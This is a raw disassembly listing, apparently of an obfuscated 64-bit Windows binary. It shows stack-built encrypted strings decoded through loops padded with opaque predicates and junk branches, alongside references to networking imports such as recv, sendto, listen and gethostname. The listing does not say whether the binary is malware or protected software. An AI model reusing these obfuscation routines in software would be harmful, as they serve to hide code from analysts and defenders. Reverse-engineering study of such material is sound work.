movabs rdx, 0x567502cbb021c91d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x35
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xdd8], al
inc r8
add rax, r8
sub rbx, rax
movabs rdx, 0xcc7facb0e1a0e7b4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0xdd8], cl
inc r9
mov rax, r13
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0xdd8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140085492
movabs rcx, 0x621ffdaf947d5bc5
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x63
movzx eax, byte [rbp + rbx + 0xdd8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140085492
movabs rcx, 0x538a4412b70ae473
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x25
jmp 0x14008548e
movabs rcx, 0x6774f048540ca745
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x1d
jmp 0x14008547f
lea rcx, [rbp + 0x1689b4c]
jmp 0x1400860cc
lea rcx, [rbp + 0xe7b9e3]
jmp 0x1400860cc
lea rcx, [rbp + 0xdd8]
mov dword [rbp + 0xfa8], 0x64
mov dword [rbp + 0xf50], 0xffffff9c
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0xfa8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xf50]
lea r8, [rdi + 0x30]
mov edx, 4
call fcn.1400375c0
mov byte [rbp + 0xe00], Ordinal_41
mov byte [rbp + 0xe01], 0xe0
mov byte [rbp + 0xe02], Ordinal_60
mov byte [rbp + 0xe03], 8
mov byte [rbp + 0xe04], Ordinal_217
mov byte [rbp + 0xe05], Ordinal_217
mov byte [rbp + 0xe06], 0xea
mov byte [rbp + 0xe07], 0xe4
mov byte [rbp + 0xe08], 0x50
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe09], xmm0
mov qword [rbp + 0xe19], rax
mov word [rbp + 0xe21], ax
movabs rdi, 0x1f6f7ac070e65004
movabs rsi, 0xab805d42eb49c87c
movabs r15, 0x26117fc005604cf4
movabs r14, 0x5f5d5dc2e0892e94
movabs r12, 0x133a5e42d5c894ac
movzx r10d, byte [rsp + 0x40]
nop
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140086f88
movzx r11d, byte [rbp + rbx + 0xe00]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x140086f7c
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x140086200
lea rcx, [rbx + r15]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
add r10b, 0x54
jmp 0x140086247
je 0x140086ef4
lea rax, [r9 + 3]
cmp r8, rax
je 0x140086e53
lea rax, [rcx + 1]
cmp r8, rax
je 0x140086e20
lea rax, [r9 + 2]
cmp r8, rax
je 0x140086de9
lea rax, [r9 + 5]
cmp r8, rax
je 0x140086d82
lea rax, [r9 + 4]
cmp r8, rax
je 0x140086d2c
cmp r9, rbx
ja 0x140086f70
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x140086274
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1c
jmp 0x1400862b0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140086d0a
inc rax
cmp r8, rax
je 0x140086cdf
lea rax, [r9 + 3]
cmp r8, rax
je 0x140086cab
lea rax, [r9 + 7]
cmp r8, rax
je 0x140086c85
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140086904
nop dword [rax]
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400868f0
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400868c3
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140086894
lea rax, [r9 + 4]
cmp r8, rax
je 0x140086880
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140086848
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14008680f
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400867e9
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400867c5
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14008678b
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400862c0
lea r8, [r9 + 0x200]
lea r9, [r8 + 8]
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140086f4c
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140086f28
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400864b4
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140086495
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14008647a
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140086723
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400866c5
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140086679
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140086645
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400862c0
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140086610
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400865ec
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400865c3
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14008658f
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140086558
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140086544
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14008651a
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400864e8
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400864d4
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400862c0
lea r8, [r9 + 1]
lea r9, [r8 + 0x80]
jmp 0x1400862c0
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x64
jmp 0x1400862b0
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xc
add r10b, dl
jmp 0x140086247
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400861c5
movabs rdx, 0xfb7bd60387328020
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140086d3b
movabs rdx, 0xaf58d6837c71e638
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x1400861b2
movabs rcx, 0x6335d70371b14c50
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x30
dec rbx
inc rbx
jmp 0x1400861b2
movabs rdx, 0x1712d78366f0b268
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x140086d91
movabs rcx, 0xcaefd8035c301880
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400861b2
movabs rcx, 0x7eccd883516f7e98
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x28
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400861b2
movabs rdx, 0x32a9d90346aee4b0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140086e76
movabs rcx, 0xe686d9833bee4ac8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x78
jmp 0x140086eaa
movabs rcx, 0x9a63da03312db0e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
movzx eax, byte [rbp + rbx + 0xe00]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400861b2
movabs rdx, 0xdc0c5b43164c301c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
mov byte [rbp + rbx + 0xe00], r10b
inc rbx
jmp 0x1400861b2
movabs rcx, 0x8fe95bc30b8b9634
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6c
cmp r9, 1
jb 0x140086669
movabs rcx, 0x2af8e682245ea938
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x10]
jmp 0x140086d50
movabs rcx, 0x43c65c4300cafc4c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x14
cmp r8, 0x2a
jae 0x140086c39
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x140086b40
movabs rdx, 0x319aeb81b8d8a628
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x18
add r10b, dl
jmp 0x140086698
movabs rdx, 0xf7a35cc2f60a6264
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
lea rax, [r9 + r8]
cmp rax, 9
je 0x140086c65
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x140086a3b
movabs rdx, 0x122b70c147f25624
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400866e4
movabs rdx, 0xbc9ce082a565e018
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xe00]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400861b2
movabs rcx, 0x7079e1029aa54630
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
jmp 0x140086eaa
movabs rdx, 0x2456e1828fe4ac48
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x140086e73
movabs rdx, 0xd833e20285241260
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400861b2
movabs rcx, 0x8c10e2827a637878
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x48
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400861b2
movabs rdx, 0x3fede3026fa2de90
mov ecx, 8
jmp 0x140086d91
movabs rdx, 0xf3cae38264e244a8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x1400861b2
movabs rcx, 0xa7a7e4025a21aac0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x40
inc r9
dec rbx
inc rbx
jmp 0x1400861b2
movabs rdx, 0x5b84e4824f6110d8
mov ecx, listen
jmp 0x140086d3b
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x140086925
lea rdx, [rbx + r15]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_46
jmp 0x14008673b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140086964
movabs rcx, 0x3edef580e1cca008
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x38
movzx eax, byte [rbp + rbx + 0xe00]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400861b2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140086996
movabs rdx, 0xd724f480f74dd3d8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140086e76
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400869c8
movabs rdx, 0xbb8df301178fa190
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140086da6
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400869fc
movabs rcx, 0x7b0f28122503b78
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x48
dec rbx
inc rbx
jmp 0x1400861b2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140086747
movabs rdx, 0x53d3f2012d10d560
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x1400861b2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140086a68
movabs rcx, 0x5e4e704152b2f00c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x54
jmp 0x140086d50
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140086a9b
movabs rcx, 0xf6946f41683423dc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 4
dec rbx
inc rbx
jmp 0x1400861b2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140086ae0
movabs rdx, 0x8eda6e417db557ac
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400861b2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140086b0a
movabs rcx, 0xdafd6dc18875f194
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
jmp 0x140086e3a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400866e4
movabs rdx, 0x73436cc19df72564
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140086eaa
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140086b7f
movabs rcx, 0x7dbdeb01c3994010
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x70
movzx eax, byte [rbp + rbx + 0xe00]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400861b2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140086bbc
movabs rcx, 0x6226e981e3db0dc8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x78
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400861b2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140086c01
movabs rdx, 0xae49e901ee9ba7b0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400861b2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140086698
movabs rcx, 0x468fe802041cdb80
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
dec rbx
inc rbx
jmp 0x1400861b2
movabs rdx, 0x771be6022f1f4320
add rdx, rbx
movzx eax, r11b
and al, dl
movzx ecx, byte [rbp + rbx + 0xe00]
sub cl, al
add cl, 0x10
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x140086da6
movabs rcx, 0xc33ee58239dfdd08
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [rcx - 0x38]
jmp 0x140086e76
movabs rdx, 0x34647740bc2a855c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x140086e73
movabs rcx, 0xe84177c0b169eb74
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2c
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400861b2
movabs rcx, 0x3d8794091281dbc
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x24
dec rbx
inc rbx
jmp 0x1400861b2
movabs rdx, 0x6b927a407ba6e9ec
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x74
jmp 0x140086d4d
movabs rdx, 0xd34c7b406625b61c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movabs rcx, 0x510a664229bef62c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x34
add cl, r11b
mov byte [rbp + rbx + 0xe00], cl
inc r9
dec rbx
inc rbx
jmp 0x1400861b2
movabs rdx, 0xeee37cc045e3e864
mov ecx, Ordinal_35
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movabs rdx, 0x9d2d65c2347f9014
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0xe00], cl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400861b2
movabs rcx, 0xa2c07d403b234e7c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x64
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400861b2
movabs rcx, 0x569d7dc03062b494
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0xc
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400861b2
mov r11, rdx
movabs rcx, 0xa7a7e4025a21aac
add rcx, rbx
and dl, cl
mov eax, Ordinal_41
sub al, dl
lea r10d, [rax + rax]
add r10b, cl
add r10b, r11b
movabs rdx, 0xe95065423f4029fc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, select
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xe00], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0xf61e50244a076f0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0xe00], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xe00]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400861b2
movabs rcx, 0x72347f401020e6dc
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 4
movzx eax, byte [rbp + rbx + 0xe00]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400861b2
movabs rcx, 0xc7175ec2cb07fac4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5c
jmp 0x1400861b0
movabs rcx, 0x7af45f42c04760dc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 4
jmp 0x1400861a0
lea r14, [rbp + 0x173c1f0]
jmp 0x140086f8f
lea r14, [rbp + 0x1140ee4]
jmp 0x140086f8f
lea r14, [rbp + 0xe00]
lea rdx, [0x14021ad70]
lea rcx, [rbp + 0x620]
call fcn.1400022f0
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x70]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rsi, qword [rax]
mov rcx, rbx
call fcn.140002490
cmp byte [rsi + 0x38], 0
jne 0x1400a26f3
mov byte [rbp + 0xe28], 0xf1
mov byte [rbp + 0xe29], 0xb9
mov byte [rbp + 0xe2a], Ordinal_211
mov byte [rbp + 0xe2b], 0xe5
mov byte [rbp + 0xe2c], 0xea
mov byte [rbp + 0xe2d], 0xe6
mov byte [rbp + 0xe2e], 0xeb
mov byte [rbp + 0xe2f], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xe30], 0x90
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe31], xmm0
mov qword [rbp + 0xe41], rax
mov word [rbp + 0xe49], ax
movabs r15, 0xb137721358cd3ca4
movabs r12, 0x4bdcb61e88bc2fdc
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
movabs rdx, 0xa8b2dc044f8411b4
movabs rax, 0x5194ed0d1c9c0f14
cmp rbx, 0x23
jae 0x140087f2e
movzx edi, byte [rbp + rbx + 0xe28]
mov r10, rdi
nop dword [rax + rax]
cmp r8, rbx
ja 0x140087f22
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400870c0
lea rcx, [rbx + rax]
mov rax, rdi
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rdi
add r11, rcx
add r11b, 0x74
jmp 0x140087107
je 0x140087e8a
lea rax, [r9 + 2]
cmp r8, rax
je 0x140087de8
lea rax, [rcx + 1]
cmp r8, rax
je 0x140087daf
lea rax, [r9 + 5]
cmp r8, rax
je 0x140087d78
lea rax, [r9 + 3]
cmp r8, rax
je 0x140087d4e
lea rax, [r9 + 6]
cmp r8, rax
je 0x140087cfd
cmp r9, rbx
ja 0x140087f16
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x140087135
lea rcx, [rbx + r15]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x7c
jmp 0x140087170
lea rax, [r9 + 1]
cmp r8, rax
je 0x140087cd4
inc rax
cmp r8, rax
je 0x140087ca2
lea rax, [r9 + 3]
cmp r8, rax
je 0x140087c73
lea rax, [r9 + 4]
cmp r8, rax
je 0x140087c3e
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140087832
nop dword [rax]
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14008780e
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400877e1
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400877b7
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140087793
lea rax, [r9 + 5]
cmp r8, rax
je 0x140087757
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008771e
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400876f5
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400876cc
lea rax, [r9 + 2]
cmp r8, rax
je 0x140087692
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140087180
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140087eed
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140087ec4
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14008737c
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140087353
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140087338
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140087634
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400875d2
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140087583
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140087554
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140087180
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14008751f
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400874fb
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400874d7
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400874a3
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14008746c
lea rax, [r9 + 3]
cmp r8, rax
ja 0x140087443
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140087414
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400873e2
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400873b9
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140087180
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x10]
jmp 0x140087180
lea rcx, [rbx + r12]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 4
jmp 0x140087170
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movabs rdx, 0xa8b2dc044f8411b4
jmp 0x140087107
movabs rdx, 0x58901ea164bf38c
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movabs rdx, 0xa8b2dc044f8411b4
movabs rax, 0x5194ed0d1c9c0f14
jmp 0x140087088
movabs rdx, 0x89bb909ac669e520
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140087d1c
movabs rdx, 0xe691b6808d31c6f8
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
inc r9
dec rbx
inc rbx
jmp 0x140087062
movabs rdx, 0x4367dc6653f9a8d0
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
dec rbx
inc rbx
jmp 0x140087062
movabs rdx, 0xa03e024c1ac18aa8
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140087bd9
movabs rcx, 0xfd142831e1896c80
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
add r11b, 0x80
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140087062
movabs rcx, 0x59ea4e17a8514e58
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x68
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140087062
movabs rcx, 0xb6c073fd6f193030
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x50
jmp 0x140087e0d
movabs rcx, 0x139699e335e11208
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x38
jmp 0x140087e41
movabs rcx, 0x706cbfc8fca8f3e0
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x20
movzx eax, byte [rbp + rbx + 0xe28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140087062
movabs rcx, 0xd8841e876d9ca87c
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x64
mov byte [rbp + rbx + 0xe28], r11b
inc rbx
jmp 0x140087062
movabs rcx, 0x355a446d34648a54
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x4c
cmp r9, 2
jb 0x140087573
